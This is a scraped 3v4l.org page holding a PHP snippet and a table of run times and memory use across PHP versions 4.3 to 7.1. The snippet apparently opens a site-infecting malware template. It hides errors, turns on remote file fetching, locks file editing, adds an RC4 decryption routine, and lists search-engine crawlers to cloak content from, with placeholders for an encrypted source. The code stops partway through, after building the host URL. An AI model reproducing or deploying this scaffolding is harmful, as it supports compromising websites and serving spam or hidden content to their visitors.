3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (function_exists('ini_set')){ @ini_set('allow_url_fopen', 1); @ini_set('display_errors', 0); } define('DISALLOW_FILE_EDIT', true); define('determinator', 1); function rc4($key, $string) { $j=$i-$i=-1; $s=array(); $result=implode($s); for ($a=256;++$i<$a;$s[$i]=$i); $x=$i=$j-1; for ($key_len=strlen($key); ++$i<$a;$s[$j]=$x){ $j=($j + $s[$i] + ord($key[$i % $key_len])) % $a; $x=$s[$i]; $s[$i]=$s[$j]; //$s[$j]=$x; } for ($y=$j=$i=0; $y<strlen($string);){ $i=++$i%$a; $j=($j + $s[$i]) % $a; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $result.=$string[$y++] ^ chr($s[($s[$i]+$s[$j]) % $a]); } return $result; } function w3net_feof($fp, &$start) { $start = microtime(true); return feof($fp); } function php_server_lower($item){ return @strtolower(@$_SERVER[$item]); } $source='{{source}}'; $ver='{{version}}'; $salt='{{salt}}'; $host='http'; $show_for_agents='google+yahoo+baidu+bingbot+msnbot+yandex'; $empty_string=implode(array()); if (isset($_SERVER['HTTPS'])){ if (@$_SERVER['HTTPS'] != 'off') $host.='s'; } $host.='://'.php_server_lower('HTTP_HOST');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.1.70.0000.01017.14
7.1.60.0100.01619.17
7.1.50.0090.01316.95
7.1.00.0070.07022.38
7.0.200.0000.01416.89
7.0.140.0100.06722.05
7.0.100.0100.06320.02
7.0.90.0100.08319.94
7.0.80.0170.07719.96
7.0.70.0130.07020.18
7.0.60.0000.08320.00
7.0.50.0100.06020.44
7.0.40.0030.08020.18
7.0.30.0130.06020.18
7.0.20.0070.08020.15
7.0.10.0030.07020.02
7.0.00.0030.07020.05
5.6.250.0070.04020.79
5.6.240.0100.08020.63
5.6.230.0070.04720.73
5.6.220.0070.05320.63
5.6.210.0230.07020.49
5.6.200.0170.06320.96
5.6.190.0100.08021.10
5.6.180.0000.04721.13
5.6.170.0030.07720.98
5.6.160.0070.07321.10
5.6.150.0170.05721.15
5.6.140.0070.05721.06
5.6.130.0100.08721.06
5.6.120.0070.06720.95
5.6.110.0100.08021.18
5.6.100.0070.05321.07
5.6.90.0100.07321.05
5.6.80.0000.07320.45
5.6.70.0000.04720.50
5.6.60.0070.03720.34
5.6.50.0100.04020.42
5.6.40.0070.04720.45
5.6.30.0070.08020.48
5.6.20.0170.07020.49
5.6.10.0200.06020.50
5.6.00.0070.08320.38
5.5.380.0070.08020.38
5.5.370.0100.06320.51
5.5.360.0000.07020.54
5.5.350.0070.08320.46
5.5.340.0000.09020.86
5.5.330.0000.05320.79
5.5.320.0030.04320.75
5.5.310.0000.08720.90
5.5.300.0070.07020.88
5.5.290.0030.04320.84
5.5.280.0170.05020.91
5.5.270.0000.09020.77
5.5.260.0200.08020.81
5.5.250.0030.08720.71
5.5.240.0130.06720.18
5.5.230.0070.04320.15
5.5.220.0030.08020.23
5.5.210.0100.04020.27
5.5.200.0170.07020.27
5.5.190.0030.05320.25
5.5.180.0170.07320.29
5.5.160.0130.06020.12
5.5.150.0130.07320.27
5.5.140.0030.09020.24
5.5.130.0170.06320.01
5.5.120.0000.08020.12
5.5.110.0030.05020.27
5.5.100.0070.07320.09
5.5.90.0130.06719.96
5.5.80.0030.08319.96
5.5.70.0030.06019.98
5.5.60.0070.08020.07
5.5.50.0170.05720.09
5.5.40.0030.08020.05
5.5.30.0100.07320.16
5.5.20.0070.04720.10
5.5.10.0130.08020.04
5.5.00.0030.05320.12
5.4.450.0100.06719.38
5.4.440.0030.04319.27
5.4.430.0070.06319.35
5.4.420.0100.07719.35
5.4.410.0070.07719.14
5.4.400.0030.05019.03
5.4.390.0030.05318.92
5.4.380.0070.07319.03
5.4.370.0100.05019.14
5.4.360.0170.05718.96
5.4.350.0130.07319.04
5.4.340.0130.06019.04
5.4.320.0130.06719.16
5.4.310.0070.07719.14
5.4.300.0070.07718.85
5.4.290.0030.06719.14
5.4.280.0070.07319.04
5.4.270.0100.07019.18
5.4.260.0100.07719.04
5.4.250.0070.07019.02
5.4.240.0000.08019.22
5.4.230.0100.06019.20
5.4.220.0170.07018.91
5.4.210.0070.06319.12
5.4.200.0030.05718.87
5.4.190.0030.07719.04
5.4.180.0070.07719.04
5.4.170.0100.07319.11
5.4.160.0070.07018.82
5.4.150.0100.07319.07
5.4.140.0100.05716.50
5.4.130.0070.05716.49
5.4.120.0170.04016.49
5.4.110.0000.04716.49
5.4.100.0100.07016.54
5.4.90.0170.04716.40
5.4.80.0070.07016.45
5.4.70.0130.05716.47
5.4.60.0070.07016.45
5.4.50.0070.06716.27
5.4.40.0070.07316.42
5.4.30.0000.05016.30
5.4.20.0070.05016.42
5.4.10.0100.07016.40
5.4.00.0030.07715.89
5.3.290.0000.09314.71
5.3.280.0070.07014.59
5.3.270.0100.07714.72
5.3.260.0130.07014.58
5.3.250.0130.05714.58
5.3.240.0030.07714.55
5.3.230.0100.07314.67
5.3.220.0070.07314.66
5.3.210.0070.08314.71
5.3.200.0030.06314.52
5.3.190.0070.04014.52
5.3.180.0030.06314.53
5.3.170.0030.08314.61
5.3.160.0030.06714.61
5.3.150.0070.05714.54
5.3.140.0130.07014.63
5.3.130.0100.05714.63
5.3.120.0070.05014.61
5.3.110.0130.06714.57
5.3.100.0130.06314.13
5.3.90.0030.05014.14
5.3.80.0130.07014.04
5.3.70.0070.07314.15
5.3.60.0070.04314.11
5.3.50.0070.07713.86
5.3.40.0070.06714.04
5.3.30.0030.07713.96
5.3.20.0070.07313.77
5.3.10.0100.06713.81
5.3.00.0070.05013.78
5.2.170.0200.04713.63
5.2.160.0070.05013.63
5.2.150.0000.07013.63
5.2.140.0030.06313.63
5.2.130.0030.06713.63
5.2.120.0000.06313.63
5.2.110.0200.04313.63
5.2.100.0100.05713.63
5.2.90.0100.05013.63
5.2.80.0070.04713.63
5.2.70.0030.04313.63
5.2.60.0070.04713.63
5.2.50.0030.04013.63
5.2.40.0000.06313.63
5.2.30.0000.06013.63
5.2.20.0000.05013.63
5.2.10.0000.05313.63
5.2.00.0030.03313.63
5.1.60.0070.04313.63
5.1.50.0030.03013.63
5.1.40.0070.04313.63
5.1.30.0100.05013.63
5.1.20.0070.03313.63
5.1.10.0070.04313.63
5.1.00.0070.05013.63
5.0.50.0030.04013.63
5.0.40.0000.02313.63
5.0.30.0070.03013.63
5.0.20.0000.04013.63
5.0.10.0070.03713.63
5.0.00.0000.05013.63
4.4.90.0000.03013.63
4.4.80.0030.03313.63
4.4.70.0000.03313.63
4.4.60.0100.02313.63
4.4.50.0070.02013.63
4.4.40.0000.03013.63
4.4.30.0030.02713.63
4.4.20.0070.02313.63
4.4.10.0070.03013.63
4.4.00.0100.04713.63
4.3.110.0000.03313.63
4.3.100.0000.03713.63
4.3.90.0070.03013.63
4.3.80.0000.05013.63
4.3.70.0000.03713.63
4.3.60.0000.02313.63
4.3.50.0000.02313.63
4.3.40.0070.04013.63
4.3.30.0000.02713.63
4.3.20.0030.03013.63
4.3.10.0000.03313.63
4.3.00.0000.03013.63

preferences:
34.84 ms | 401 KiB | 5 Q